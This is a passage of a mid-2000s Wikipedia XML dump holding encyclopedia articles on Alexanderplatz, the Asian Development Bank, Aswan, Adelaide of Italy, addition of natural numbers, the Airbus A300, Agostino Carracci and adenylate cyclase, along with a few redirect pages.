Following [[German reunification]] the Alexanderplatz has undergone a gradual process of change with many of the surrounding buildings being renovated. Despite the construction of a [[tram]] line and the addition of some greenery it has retained its socialist character, including the much-[[graffiti]]ed ''Fountain of Friendship between Peoples'' (''Brunnen der Völkerfreundschaft''). In [[1993]] plans for a major redevelopment including the construction of several skyscrapers were published, but due to a lack of demand it is unlikely these will be constructed. However, beginning with the reconstruction of the department store [[Kaufhof]] in 2004, some buildings will be redesigned and new structures built on the square's south-eastern side.

Many historic buildings are located in the area around Alexanderplatz. The traditional seat of city government, the [[Rotes Rathaus]], or ''Red City Hall'',  is located nearby, as is the East German parliament building, the [[Palast der Republik]].


{{Commons|Alexanderplatz}}

[[Category:Squares in Berlin]]

{{Link FA|de}}

[[da:Alexanderplatz]]
[[de:Alexanderplatz (Berlin)]]
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[[id:Alexanderplatz]]
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[[th:อเล็กซานเดอร์พลาทซ์]]</text>
    </revision>
  </page>
  <page>
    <title>Asian Development Bank</title>
    <id>2512</id>
    <revision>
      <id>41460746</id>
      <timestamp>2006-02-27T14:17:10Z</timestamp>
      <contributor>
        <ip>218.226.4.70</ip>
      </contributor>
      <comment>+ja</comment>
      <text xml:space="preserve">The '''Asian Development Bank (ADB)'''  is a multilateral development finance institution dedicated to reducing poverty in Asia and the Pacific. It was founded in 1966 with 31 members states and has now grown to include 64.

==Organization==

The highest policy-making body of the bank is the ''Board of Governors'' composed of one representative from each member state. The Board of Governors, in turn, elect among themselves the 12 members of the ''Board of Directors'' and their deputy. Eight of the 12 members come from regional (Asia-Pacific) members while the rest come from non-regional members.

The Board of Governors also elect the bank's ''President'' who is the legal representative of the bank and manages the Board of Directors. The president has a term of office lasting five years, and may be reelected. Traditionally, and because [[Japan]] is one of the largest shareholders of the bank, the President has always been Japanese. The current President is [[Haruhiko Kuroda]].

The headquarters of the bank is at 6 ADB Avenue, [[Mandaluyong City]], [[Metro Manila]], [[Philippines]], and it has representative offices around the world. The bank employs approximately 2,000 people, more than half of which are [[Filipino people|Filipino]].

The bank has been under corruption investigation by the U.S. Senate Committee on Foreign Affairs.

==Notable projects of the ADB==
*[[Trans-Afghanistan Pipeline]] (US$3B)
*[[Gujarat(INDIA) Earthquake Rehabilitation and Reconstruction Project]] (US$500M)
*[[Central Asia Regional Economic Cooperation Program]]

==Member states==
Names are indicated as it is recognized by the ADB.
The number after the state's name indicate the year of membership.
Founding member states are highlighted in '''bold letters''' and marked with an asterisk.
{| style=&quot;max-width: 750px;&quot;
|-
| colspan=&quot;3&quot; |
===Asian and Pacific region===
|-
| width=&quot;30%&quot; valign=&quot;top&quot; |
{| width=&quot;100%&quot;
|-
| width=&quot;80%&quot; | '''[[Afghanistan]]*''' || width=&quot;20%&quot; | (1966)
|-
| [[Armenia]] || (2005)
|-
| '''[[Australia]]*''' || (1966)
|-
| [[Azerbaijan]] || (1999)
|-
| [[Bangladesh]] || (1973)
|-
| [[Bhutan]] || (1982)
|-
| '''[[Cambodia]]*''' || (1966)
|-
| [[People's Republic of China|China, People's Republic of]] || (1986)
|-
| [[Cook Islands]] || (1976)
|-
| [[Fiji]] || (1970)
|-
| [[Hong Kong|Hong Kong, China]] || (1969)
|-
| '''[[India]]*''' || (1966)
|-
| '''[[Indonesia]]*''' || (1966)
|-
| '''[[Japan]]*''' || (1966)
|-
| [[Kazakhstan]] || (1994)
|-
| [[Kiribati]] || (1974)
|}
| width=&quot;30%&quot; valign=&quot;top&quot; |
{| width=&quot;100%&quot;
|-
| width=&quot;80%&quot; | '''[[South Korea|Korea, Republic of]]*''' || width=&quot;20%&quot; | (1966)
|-
| [[Kyrgyzstan|Kyrgyz Republic]] || (1994)
|-
| '''[[Laos|Lao PDR]]*''' || (1966)
|-
| '''[[Malaysia]]*''' || (1966)
|-
| [[Maldives]] || (1978)
|-
| [[Marshall Islands]] || (1990)
|-
| [[Federated States of Micronesia|Micronesia, Federated States of]]
| (1990)
|-
| [[Mongolia]] || (1991)
|-
| [[Myanmar]] || (1973)
|-
| [[Nauru]] || (1991)
|-
| '''[[Nepal]]*''' || (1966)
|-
| '''[[New Zealand]]*''' || (1966)
|-
| '''[[Pakistan]]*''' || (1966)
|-
| [[Palau]] || (2003)
|-
| [[Papua New Guinea]] || (1971)
|-
| '''[[Philippines]]*''' || (1966)
|}
| width=&quot;30%&quot; valign=&quot;top&quot; |
{| width=&quot;100%&quot;
|-
| width=&quot;80%&quot; | '''[[Samoa]]*''' || width=&quot;20%&quot; | (1966)
|-
| '''[[Singapore]]*''' || (1966)
|-
| [[Solomon Islands]] || (1973)
|-
| '''[[Sri Lanka]]*''' || (1966)
|-
| '''[[Republic of China|Taipei, China]]*''' (Taiwan){{ref|Taiwan}} || (1966)
|-
| [[Tajikistan]] || (1998)
|-
| '''[[Thailand]]*''' || (1966)
|-
| [[East Timor|Timor-Leste]] || (2002)
|-
| [[Tonga]] || (1972)
|-
| [[Turkmenistan]] || (2000)
|-
| [[Tuvalu]] || (1993)
|-
| [[Uzbekistan]] || (1995)
|-
| [[Vanuatu]] || (1981)
|-
| '''[[Vietnam|Vietnam]]*''' || (1966)
|}
|-
| colspan=&quot;3&quot; |

===Other regions===
|-
| width=&quot;30%&quot; valign=&quot;top&quot; |
{| width=&quot;100%&quot;
|-
| width=&quot;80%&quot; | '''[[Austria]]*''' || width=&quot;20%&quot; | (1966)
|-
| '''[[Belgium]]*''' || (1966)
|-
| '''[[Canada]]*''' || (1966)
|-
| '''[[Denmark]]*''' || (1966)
|-
| '''[[Finland]]*''' || (1966)
|-
| [[France]] || (1970)
|}
| width=&quot;30%&quot; valign=&quot;top&quot; |
{| width=&quot;100%&quot;
|-
| width=&quot;80%&quot; | '''[[Germany]]*''' {{ref|Germany}} || width=&quot;20%&quot; | (1966)
|-
| '''[[Italy]]*''' || (1966)
|-
| [[Luxembourg]] || (2003)
|-
| '''[[Netherlands]]*''' || (1966)
|-
| '''[[Norway]]*''' || (1966)
|-
| [[Portugal]] || (2002)
|}
| width=&quot;30%&quot; valign=&quot;top&quot; |
{| width=&quot;100%&quot;
|-
| width=&quot;80%&quot; | [[Spain]] || width=&quot;20%&quot; | (1986)
|-
| '''[[Sweden]]*''' ||  (1966)
|-
| [[Switzerland]] || (1967)
|-
| [[Turkey]] || (1991)
|-
| '''[[United Kingdom]]*''' || (1966)
|-
| '''[[United States]]*''' || (1966)
|}
|}

==Notes==
# {{note|Taiwan}} Represented the whole of China since being a founding member until 1986 when the People's Republic of China joined.
# {{note|Germany}} Founding member; joined as [[West Germany]].

==External links==
* The ADB website: http://www.adb.org
* ADB Institute: http://www.adbi.org

[[Category:Supranational banks]]
[[de:Asiatische Entwicklungsbank]]
[[id:Bank Pembangunan Asia]]
[[ja:アジア開発銀行]]</text>
    </revision>
  </page>
  <page>
    <title>Aswan</title>
    <id>2514</id>
    <revision>
      <id>41605608</id>
      <timestamp>2006-02-28T13:25:53Z</timestamp>
      <contributor>
        <username>*drew</username>
        <id>91902</id>
      </contributor>
      <minor />
      <comment>+id:</comment>
      <text xml:space="preserve">{| style=&quot;border: 0px&quot; align=&quot;left&quot;
|--
|[[Image:Egypt.Aswan.RiverView.01.jpg|left|thumb|200px|The Nile at Aswan, seen from Elephantine Island]]
|--
|[[Image:Railway Station Street, Aswan, Egypt, Oct 2004 A.jpg|left|thumb|200px|A view along the street connecting railway station and [[Nile]].]]
|--
|[[Image:Railway Station Street, Aswan, Egypt, Oct 2004 B.jpg|left|thumb|200px|Another view along the street]]
|--
|[[Image:Aswan Street, Egypt, Oct 2004.jpg|left|thumb|200px|A street parallel to Corniche in Aswan]]
|}
'''Aswan''' 
([[Arabic language|Arabic]]: '''محافظة أسوان  '''''Asw&amp;#257;n'')
({{coor dm|24|05|N|32|56|E|}}, population 200,000) is a city in the south of [[Egypt]], the capital of the [[Aswan Governorate]]. It stands on the east bank of the [[Nile]] at the [[first cataract]] and is a busy market and tourist center.

Aswan is one of the driest inhabited places in the world; as of early 2001, the last rain here was 6 years ago. In [[Nubia]]n settlements they generally do not bother to roof all of the rooms in their houses.

This is identified with the ancient city of '''Syene''', which is famous for providing a basis on which [[Eratosthenes]] disputed the [[Flat Earth]] theory and attempted to determine the circumference of the Earth, using Syene as the originating point and [[Alexandria]] as the terminal point of a measured arc to make an accurate estimate of the circumference of the Earth.

''See also:'' [[Aswan Dam]], [[Elephantine]], [[Kitchener's Island]]

{{Commons|Aswan}}

[[Category:Cities in Egypt]]

[[af:Aswan]]
[[ar:أسوان (محافظة)]]
[[ca:Assuan]]
[[cs:Asuán]]
[[da:Aswan]]
[[de:Assuan]]
[[es:Asuán]]
[[eo:Asŭano]]
[[fr:Assouan]]
[[gl:Asuán - أسوان]]
[[id:Aswan]]
[[it:Assuan]]
[[lt:Asuanas]]
[[nl:Aswan]]
[[ja:アスワン]]
[[no:Aswan]]
[[pl:Asuan]]
[[pt:Assuão]]
[[ru:Асуан]]
[[sv:Assuan]]


{{Egypt-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Adelaide of Italy</title>
    <id>2519</id>
    <revision>
      <id>38307814</id>
      <timestamp>2006-02-05T13:23:22Z</timestamp>
      <contributor>
        <ip>217.158.132.182</ip>
      </contributor>
      <comment>edit cat</comment>
      <text xml:space="preserve">:''Another Saint Adelaide is [[Adelaide, Abbess of Vilich]]''.
Saint '''Adelaide of Italy''' ([[931]]-[[December 16]], [[999]]) was the daughter of [[Rudolf II of Burgundy]], King of [[Italy]]. Her first [[marriage]] was to [[Lothar of Italy|Lothar]], King of Italy, and was part of a political settlement designed to conclude a peace between her father, Rudolf II, and [[Hugh of Provence]], the father of Lothar.

The Calendar of Saints states that her first husband was poisoned by his successor, [[Berengar of Ivrea]], who attempted to cement his political power by forcing her to marry his son; when she refused, she was imprisoned for four months, and escaped to [[Canossa]], where she threw herself on the mercy of [[Monarch|King]] [[Otto I the Great]]; they subsequently married in [[951]] . They had four [[child]]ren: Henry, born in [[952]]; Bruno, born [[953]]; [[Matilda, Abbess of Quedlinburg]], born about [[954]]; and [[Otto II]], later [[Holy Roman Emperor]], born [[955]]. 

When her husband Otto I died in [[973]] he was succeeded by their son Otto II, and Adelaide for some years exercised a powerful influence at court. Later, however, her daughter-in-law, the Byzantine princess [[Theophanu|Theophano]], turned her husband against his mother, and she was driven from court. Finally a reconciliation was effected, and in 983 Otto appointed her his viceroy in Italy. However, Otto died the same year, and although both mother and grandmother were appointed as co-regents for the child-king, Otto III, Theophano forced Adelaide to [[abdicate]] and exiled her. When Theophano died in 991, Adelaide was restored the regency of her grandson. She was assisted by [[Willigis]], bishop of [[Mainz]]. In 995 Otto III came of age, and Adelaide was free to devote herself exclusively to works of charity, notably the foundation or restoration of religious houses. 

Adelaide had long entertained close relations with [[Cluny]], then the center of the movement for ecclesiastical reform and in particular with its abbots Majolus and Odilo. She retired to the convent of Seltz near [[Cologne]]. Though she never became a nun, she spent the rest of her days there in prayer. On her way to [[Burgundy]] to support her nephew Rudolf III against a rebellion, she died at a monastery she had founded [[Seltz]] in the [[Alsace]] on [[December 16]], [[999]]. She had constantly devoted herself to the service of the church and peace, and to the empire as guardian of both; she also interested herself in the conversion of the Slavs. She was thus a principal agent—almost an embodiment—of the work of the [[Roman Catholic Church]] during the [[Middle Ages|Early Middle Ages]] in the construction of the religion-culture of western Europe. Her feast day is still kept in many [[Germany|German]] dioceses.


[[Category:German saints]]
[[Category:Ottonian Dynasty]]
[[Category:931 births]]
[[Category:999 deaths]]

[[de:Adelheid von Burgund]]
[[fr:Adélaïde de Bourgogne]]
[[no:Adelheid av Burgund]]
[[fi:Adelheid]]</text>
    </revision>
  </page>
  <page>
    <title>Addition of natural numbers</title>
    <id>2520</id>
    <revision>
      <id>18673608</id>
      <timestamp>2005-07-12T14:12:22Z</timestamp>
      <contributor>
        <username>R.Koot</username>
        <id>170083</id>
      </contributor>
      <text xml:space="preserve">'''Addition of natural numbers''' is the most basic arithmetic operation. In its simplest form, addition combines two numbers (terms, summands), the augend and addend, into a single number, the sum.

== Notation and terms ==

The operation of '''addition''', commonly written as the [[infix]] [[operator]] &quot;+&quot;, is a [[function_(mathematics)|function]] + : '''N''' &amp;times; '''N''' &amp;rarr; '''N'''. For natural numbers ''a'', ''b'', and ''c'', we write

:&lt;math&gt;a + b = c.\,&lt;/math&gt;

Here, ''a'' is the ''augend'', ''b'' is the ''addend'', and ''c'' is the ''sum''.

== Definition ==

We let ''S''(''a'') denote the ''successor of a'' as defined in the [[Peano postulates]]. 

Addition is defined inductively by fixing the augend. In other words, we let ''a'' be any arbitrary, but fixed natural number, and we then make the following definitions:

* ''a'' + 0 = ''a'' [A1]
* ''a'' + ''S''(''b'') = ''S''(''a'' + ''b'') [A2]

By the recursion theorem, this defines a unique function &quot;''a'' +&quot; : '''N''' &amp;rarr; '''N'''. In words, it says that adding zero to ''a'' gives back ''a'', and that applying the successor function to the addend has the effect of applying the successor function to the sum.

Since ''a'' was an arbitrary natural number, we can &quot;put together&quot; all these functions into a single binary operation '''N''' &amp;times; '''N''' &amp;rarr; '''N'''.

== Properties ==

The following are three immediate and important properties of addition which can be deduced from the definition.

* [[associative|Associativity]]: for all natural numbers ''a'', ''b'', and ''c'', we have
:&lt;math&gt;(a + b) + c = a + (b + c);\,&lt;/math&gt; ([[Addition of natural numbers/proofs#Proof of associativity|proof]])
* [[commutative|Commutativity]]: for all natural numbers ''a'' and ''b'', we have
:&lt;math&gt;a + b = b + a;\,&lt;/math&gt; ([[Addition of natural numbers/proofs#Proof of commutativity|proof]])
* [[Identity element]]: for all natural numbers ''a'', we have
:&lt;math&gt;a + 0 = 0 + a = a.\,&lt;/math&gt; ([[Addition of natural numbers/proofs#Proof of identity element|proof]])

Together, these three properties show that the set of natural numbers '''N''' under addition is a commutative [[monoid]].

[[Category:Elementary arithmetic]]

[[fr:Addition des entiers naturels]]
[[ja:&amp;#21152;&amp;#27861;]]</text>
    </revision>
  </page>
  <page>
    <title>Aliens</title>
    <id>2523</id>
    <revision>
      <id>30974740</id>
      <timestamp>2005-12-11T22:29:01Z</timestamp>
      <contributor>
        <username>DontPanic6x9</username>
        <id>645750</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[alien]]</text>
    </revision>
  </page>
  <page>
    <title>Airbus A300</title>
    <id>2524</id>
    <revision>
      <id>41593963</id>
      <timestamp>2006-02-28T10:38:35Z</timestamp>
      <contributor>
        <username>ProhibitOnions</username>
        <id>139004</id>
      </contributor>
      <minor />
      <comment>/* In-service */ Past tense</comment>
      <text xml:space="preserve">[[image:luft.a300b4.d-aias.750pix..jpg|thumb|250px|Lufthansa Airbus A300]]
The '''Airbus A300''' is a short to medium range [[Wide-body aircraft|widebody]] aircraft. Launched in 1972, it was the first twin-engined widebody in the world, and the first aircraft created by the [[Airbus]] consortium of European aerospace companies.

==Development history==
The basic mission requirements were given by Frank Kolk, an [[American Airlines]] executive, in 1966, for a [[Boeing 727]] replacement on busy short to medium range routes such as US transcontinental flights. His brief included a passenger capacity of 250 to 300 seated in a twin-aisle configuration and fitted with two engines, with the capability of carrying full passengers without penalty from high altitude airports like [[Denver]]. American manufacturers responded with widebody trijets, the Douglas [[DC-10]] and the [[Lockheed L-1011 Tristar]], as twinjets were banned from many routes by the FAA.

French president [[Charles de Gaulle]] resented the US domination of civil aviation and wanted a European airliner that could compete with American designs. [[Concorde]] was part of the answer, designed for intercontinental routes; the other was the A300, designed to meet Mr Kolk's US domestic requirements. 

[[image:IMG 1265r.jpg|thumb|250px|American Airlines A300]]

In September 1967 the British, French and German governments signed a Memorandum of Understanding (MoU) to start development of the 300 seat Airbus A300. An earlier announcement had been made in July 1967 but had been complicated by the [[British Aircraft Corporation]] (BAC). The British government refused to back BAC's proposed competitor, a development of the [[BAC 1-11]] and instead supported the Airbus aircraft.

In the months following this agreement both the French and British governments expressed doubts about the aircraft. Another problem was the requirement for a new engine (to be developed by Rolls-Royce, the RB207). In December 1968 the French and British partner companies, Sud Aviation and Hawker Siddeley proposed a revised configuration, the 250 seat Airbus A250. Renamed the A300B the aircraft would not require new engines, reducing development costs. To attract potential US customers, American [[General Electric CF6-50]] engines powered the A300, instead of the British RB207. The British government was upset and withdrew from the venture: however, the British firm Hawker Siddeley stayed on as a contractor, developing the wings for the A300, which were pivotal in later versions' impressive performance from short domestic to long intercontinental flights. (Years later, through [[British Aerospace]], the UK reentered the consortium.)

Airbus Industrie was formally set up in 1970 following an agreement between Aerospatiale (France) and Deutsche Aerospace (Germany) (joined by CASA of Spain in 1971). Each company would deliver its sections as fully equipped, ready to fly items. 

In 1972 the A300 made its maiden flight and the first production model, the A300B2 entered service in 1974. Initially the success of the consortium was poor but by 1979 there were 81 aircraft in service. It was the launch of the A320 in 1981 that guaranteed Airbus as a major player in the aircraft market - the aircraft had over 400 orders before it first flew, compared to 15 for the A300 in 1972.

The A300 is the first airliner to use just-in-time manufacturing techniques. Whole complete sections were manufactured by consortium partners all over Europe. These were airlifted to the final assembly line in [[Toulouse]] by a fleet of [[Boeing 377]]-derived [[Aero Spacelines Super Guppy]] aircraft. Originally devised as a way to share the work among Airbus's partners without the expense of two assembly lines, it turned out to be a more efficient way of building airplanes (more flexible and reduced costs) as opposed to building the whole airplane at one site. This fact was not lost on Boeing, which decided to manufacture the [[Boeing 787]] in this manner, using outsized 747s to ferry wings and other parts from [[Japan]].

The A300 cemented European cooperation in aviation. Its first flight was commemorated on a [[France|French]] three-[[franc]] stamp.

==Technology==
[[Image:Airbus A300-600R Egyptair SU-GAR.jpg|thumb|250px|Egypt Air Airbus A300-600R]]
Airbus partners employed the latest technology, some derived from the [[Concorde]]. On entry into service, in 1974, the A300, was very advanced and  influenced later subsonic airliner designs. The technological highlights include:

*Advanced wings by De Havilland (later [[BAE Systems]]) with:
**[[Supercritical wing|supercritical airfoil section ]]for excellent economical performance
**advanced aerodynamically efficient flight controls
*advanced 222-inch diameter circular fuselage section for 8-abreast passenger seating and wide enough for 2 [[Unit Load Device|LD3]] cargo containers side-by-side giving it bigger belly cargo cross-section than a [[Boeing 747]]. The circular fuselage crossection was later used in the larger [[Boeing 777]]. 
*Structures made from metal [[billet (manufacturing)|billet]]s, reducing weight
*the first airliner to be fitted with [[wind shear]] protection
*advanced autopilots capable of flying the aircraft from climb-out to landing
*Electrically controlled braking system

Later A300s incorporate other advanced features such as
*2-man crew by automating the flight engineer's functions, an industry first (a request made by [[Garuda Indonesia]], an idea proposed by [[Jusuf Habibie|B. J. Habibie]] , who at that time was [[Indonesia]]'s Minister of Research and Technology)
*[[glass cockpit]] flight instruments
*extensive use of composites
*centre-of-gravity control by shifting around fuel
*the first airliner to use wing fences for better aerodynamics

All these made the A300 a perfect substitute for the widebody trijets such as [[McDonnell Douglas DC-10]] and [[Lockheed L-1011]] for short to medium routes. On the early versions, Airbus even used the same engines and similar major systems as the DC-10. Asian airlines bought the concept and used the early A300s as a complement to the widebody trijets on such routes.

==In-service==
After the launch, sales of the A300 were weak for some years, with most orders going to airlines that had an obligation to order the locally-made product - notably [[Air France]] and [[Lufthansa]]. At one stage, Airbus had 16 &quot;whitetail&quot; A300s - completed but unsold aircraft - sitting on the tarmac.

In 1977 giant US carrier [[Eastern Airlines]] leased four A300s as an in-service trial. [[Frank Borman]], ex-astronaut and the then CEO, was impressed as the A300 consumed 30% less fuel than his fleet of Tristars and then ordered 23 of the type. This was followed by an order from [[Pan Am]]. From then on, the A300 family sold well, eventually reaching the current total of 858 on order or delivered. 

Also, [[Olympic Airlines]] operated A300-B4 and A300-605R jets for several years. Now it only operates a single A300-622R (SX-BEM 'Creta') (as of February 2005).

It found particular favour with Asian airlines. It was bought by [[Japan Air System]], [[Thai Airways International]], [[Singapore Airlines]], [[Malaysia Airlines]], [[Philippine Airlines]], [[Garuda Indonesia]], [[China Airlines]], [[PIA]], [[Indian Airlines]], [[Trans Australia Airlines]] and many others. As Asia was not restricted by the FAA [[ETOPS|60-minutes ruling]] for twin-engine airliners which existed at the time, Asian airlines used A300s for routes across [[Bay of Bengal]] and [[South China Sea]]. 

The Australians used them for domestic transcontinental routes. By 1981, Airbus was growing rapidly, with over 300 aircraft sold and options for 200 more planes for over forty airlines. This fact was not lost to Boeing which responded with the [[Boeing 767]].

The A300 provided Airbus the experience of manufacturing and selling airliners competitively. The basic fuselage of the A300 was later streched ([[A330]] and [[A340]]), shrunk ([[A310]]), or modified into many derivatives ([[Airbus Beluga]]). 
   
Currently, the A300 is reaching the end of its market life and is now mainly sold as a dedicated freighter. The largest freight operator of the A300 in the United States is Federal Express, which, as of January, 2006, has 95 A300/310 aircraft.  United Parcel Service (UPS) also has started using freighter versions of the A300.  The current version is the A300-600R and is rated for 180-minute ETOPS. The A300 has enjoyed renewed interest in the secondhand market for conversion to freighters. The freighter versions - either new-build A300-600's or converted ex-passenger A300-600's, A300B2's and B4's - account for most of the world freighter fleet after the [[Boeing 747]] freighter.

== Models==
* '''A300B1''' Only two were built: the first prototype and a second aircraft which was later sold for airline service. It has accommodation for 259 passengers with a maximum weight of 132,000 kg and two [[General Electric CF6-50|General Electric CF6-50A]] engines of 220 kN thrust.  
* '''A300B2''' The first production version. Powered by CF6 or [[Pratt &amp; Whitney JT9D]] engines of between 227 and 236 kN thrust, it entered service with [[Air France]] in May 1974.
* '''A300B4''' The major production version. Features a center fuel tank for increased fuel capacity (47,500 kg). Produced in two versions. -100 with a Max Take Off weight of 157,500 kg and the -200  with a Max Take Off weight of 165,000 kg. Production of the B2 and B4 totaled 248.
* '''A300FFCC''' The first 2-man crew airliner. First saw service with [[Garuda]] and [[Varig]]
* '''A300B10 ''''''([[A310]])''' Introduced a shorter fuselage, a new, higher [[aspect ratio (wing)|aspect ratio]] wing, smaller tail and two crew operation. It is available in standard -200 and the extended range -300 with 9,600 km range in both passenger and full cargo versions. It is also available as a military tanker/transport serving the [[Luftwaffe]]. Sales to date total 260.
* '''A300C4''' Convertible freighter version, with a large cargo door on the port side.
* '''A300-600''' The current version is the same length as the B2 and B4 but has increased space because it uses the A310 rear fuselage and tail. It has higher power [[General Electric CF6-80|CF6-80]] or [[Pratt &amp; Whitney PW4000]] engines and entered service in 1988. It is available in both passenger and freight versions, and forms the basis of the [[Airbus Beluga]]. A total of 330 A300-600s have been sold.
* '''A300-600R''' : The increased range -600, achieved by an additional trim fuel tank in the tail.
* '''A300-600 Convertible''' Passenger/cargo version.

==Incidents==
On [[July 3]], [[1988]], [[Iran Air]], [[Iran Air Flight 655 | Flight 655]] was shot down by the [[USS Vincennes (CG-49) | USS Vincennes]] in the [[Persian Gulf]] after being mistaken for an attacking [[Iran | Iranian]] [[F-14 Tomcat]], killing all 290 civilian passengers and crew.  [http://www.washingtonpost.com/wp-srv/inatl/longterm/flight801/stories/july88crash.htm]

On [[September 26]], [[1997]], [[Garuda Indonesia]] [[Garuda Indonesia Flight 152 |Flight 152]] crashed while landing at [[Medan, Indonesia]] killing 234 aboard.

On [[November 12]], [[2001]], [[American Airlines]], [[American Airlines Flight 587 | Flight 587]] crashed into the [[Belle Harbor, Queens|Belle Harbor]] neighborhood of [[Queens, NY|Queens]], [[New York]] shortly  after takeoff from [[John F. Kennedy International Airport]]. All 260 people on board were killed. The official [[NTSB]] report of [[October 26]], [[2004]] stated the cause of the crash was the overuse of the [[rudder]] to counter [[Wingtip vortices | wake turbulence]] (causing the tail to eventually break off).

On [[November 22]], [[2003]], a [[European Air Transport]] A300B4-203F, operating on behalf of [[DHL]], was hit by an [[SA-7 Grail | SA-7 'Grail']] missile after take-off from [[Baghdad International Airport]]. The aeroplane rapidly lost all hydraulic pressure, and thus controls. The crew found that after extending the landing gear to create more drag, they could pilot the plane using differences in engine thrust and managed to land the plane with minimal further damage. The plane was later repaired and offered for sale ([http://aviation-safety.net/database/record.php?id=20031122-0  incident summary and photos]).

==Specifications==
A300-600 Performance 

A300-600R - Max cruising speed 897km/h (484kt), long range cruising speed 875km/h (472kt). Range at typical airline operating weight with 267 passengers with 370km (200nm) reserves and standard fuel 7505km (4050nm) with CF6s, or 7540km (4070nm) with PW-4000s.
A300-600 - Range at same parameters 6670km (3600nm).
A300-600F - Range with max payload, and reserves 4908km (2650nm).

A300-600 Dimensions 

Wing span 44.84m (147ft 1in), length 54.08m (177ft 5in), height 16.62m (54ft 6.5in). Wing area 260.0m2 (2798.7sq ft).

[http://www.airbus.com/en/aircraftfamilies/a300a310/a300-600/specifications.html]

==External links==
* [http://www.airbus.com/product/a300_a310_backgrounder.asp Official site]
* [http://www.planepictures.net/netsearch.cgi?A300 Pictures]
* [http://www.aircraft-info.net/aircraft/jet_aircraft/airbus/A300-600/ Aircraft-Info.net - Airbus A300-600]
* [http://www.planemad.net/data/list/Airbus/A300/ Airbus A300 Production List]
* [http://news.bbc.co.uk/2/hi/americas/3956087.stm Airbus A300-600 rudder problems] 

==Related content==
{{Commons|Airbus A300}}

'''Related development:'''
*[[Airbus Beluga]]
*[[A310]]
*[[Airbus A330|A330]]
*[[Airbus A340|A340]]
*[[A350]]

'''Comparable aircraft:'''
*[[Boeing 767|Boeing 767-300(ER)]]
*[[Boeing 767|Boeing 767-400ER]]
*[[Ilyushin Il-86]]

'''Designation sequence:'''
* [[Airbus A300|A300]] - [[Airbus A310|A310]] - [[Airbus A320|A318]] - [[Airbus A320|A319]]

'''Related lists:'''

'''See also:'''

{{airlistbox}}

[[Category:International airliners 1970-1979]]

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[[zh:空中客车A300]]</text>
    </revision>
  </page>
  <page>
    <title>AlJazeera</title>
    <id>2525</id>
    <revision>
      <id>15900927</id>
      <timestamp>2003-04-06T20:48:14Z</timestamp>
      <contributor>
        <username>GrahamN</username>
        <id>2957</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Al Jazeera]]</comment>
      <text xml:space="preserve">#REDIRECT [[Al Jazeera]]</text>
    </revision>
  </page>
  <page>
    <title>Agostino Carracci</title>
    <id>2526</id>
    <revision>
      <id>40359933</id>
      <timestamp>2006-02-20T01:22:36Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Carracci Agostino Faun.jpg|right|thumb|250px|''Head of a Faun'' (c.1595) 181 x 187 mm &lt;br /&gt;Pen and brown ink on laid paper &lt;br /&gt; National Gallery of Art, Washington]]

'''Agostino Carracci''' (or '''Caracci''') ([[August 16]], [[1557]], in [[Bologna]] - [[March 22]], [[1602]], in [[Parma]]) was an [[Italy|Italian]] [[painter]] and graphical artist. He posited the ideal in nature, and was the founder of the competing school to the more gritty (for lack of a better term) view of nature as expressed by [[Michelangelo Merisi|Caravaggio]]. He was, along with his brothers, one of the founders of the [[Accademia degli Incamminati]], which helped propel painters of the [[Bolognese School (painting)|School of Bologna]] to prominence. 

''See also'' his brothers [[Annibale Carracci]] and [[Lodovico Carracci]].

*Drawing: Head of a Faun in a Concave (roundel) (c. 1595, National Gallery of Art, Washington DC)
*The Penitent Magdalen (Private collection)
*The Annunciation (Louvre) [http://cartelen.louvre.fr/cartelen/visite?srv=car_not_frame&amp;idNotice=18809]
*The Lamentation (Hermitage)[http://www.hermitagemuseum.org/fcgi-bin/db2www/quickSearch.mac/gallery?selLang=English&amp;tmCond=Carracci+Agostino]

==Gallery==
Despite working in a post-Tridentine ([[Council of Trent]]) environment restricting the use of public images, Agostino profited from the making of engravings of graphic and sensual images of mythologic or heroic love-making scenes. In Rome, his brother Anibale completed the elaborate fresco of [[The Loves of the Gods (Carracci)|Loves of the Gods]] for the [[Palazzo Farnese]], whose images from Ovid's ''[[Metamorphoses (poem)|Metamorphoses]]'' intimate but do not depict the act of [[sexual intercourse|lovemaking]]. 
see [http://en.wikipedia.org/wiki/Image:Carracci_Jupiter_et_Junon.jpg],  [http://en.wikipedia.org/wiki/Image:Carracci_Antoine_et_Cleopatre.jpg], and [http://en.wikipedia.org/wiki/Image:Carracci_Achille_et_Briseis.jpg].

{{sect-stub}}

==External links==
*[http://www.newadvent.org/cathen/03374c.htm Catholic Encyclopedia: Carracci]

{{Italy-painter-stub}}

[[Category:1557 births|Carracci, Agostino]]
[[Category:1602 deaths|Carracci, Agostino]]
[[Category:Italian painters|Carracci, Agostino]]

[[da:Agostino Carracci]]
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{{commons|category:Agostino Carracci}}</text>
    </revision>
  </page>
  <page>
    <title>Ayatollah Khomeini</title>
    <id>2527</id>
    <revision>
      <id>15900929</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Ruhollah Khomeini]]
</text>
    </revision>
  </page>
  <page>
    <title>Adenylate cyclase</title>
    <id>2528</id>
    <revision>
      <id>27186467</id>
      <timestamp>2005-11-02T20:19:52Z</timestamp>
      <contributor>
        <ip>82.61.43.47</ip>
      </contributor>
      <text xml:space="preserve">'''Adenylate cyclase''' ({{EC number|4.6.1.1}}, also known as '''adenylyl cyclase''' or '''AC''') is a [[lyase]], an [[enzyme]] that [[catalysis|catalyzes]] the conversion of [[Adenosine triphosphate|ATP]] to [[cyclic AMP|3',5'-cyclic AMP]] (cAMP) and [[pyrophosphate]].  cAMP is an important molecule in [[eukaryote|eukaryotic]] [[signal transduction]], a so-called [[second messenger]]. Adenylate cyclase can be activated or inhibited by [[G protein]]s, which are coupled to membrane receptors and thus can respond to hormonal or other stimuli.  There are nine known adenylate cyclases in [[mammal]]s.

==Structure==
Adenylate cyclase is a trans[[membrane]] protein. It passes through the [[plasma membrane]] twelve times. The important parts for its function are located in the [[cytoplasm]]ic N- and C-termini, as well as in the ''C1 domain'', a large loop between transmembrane helices six and seven which also extends into the cytoplasm.
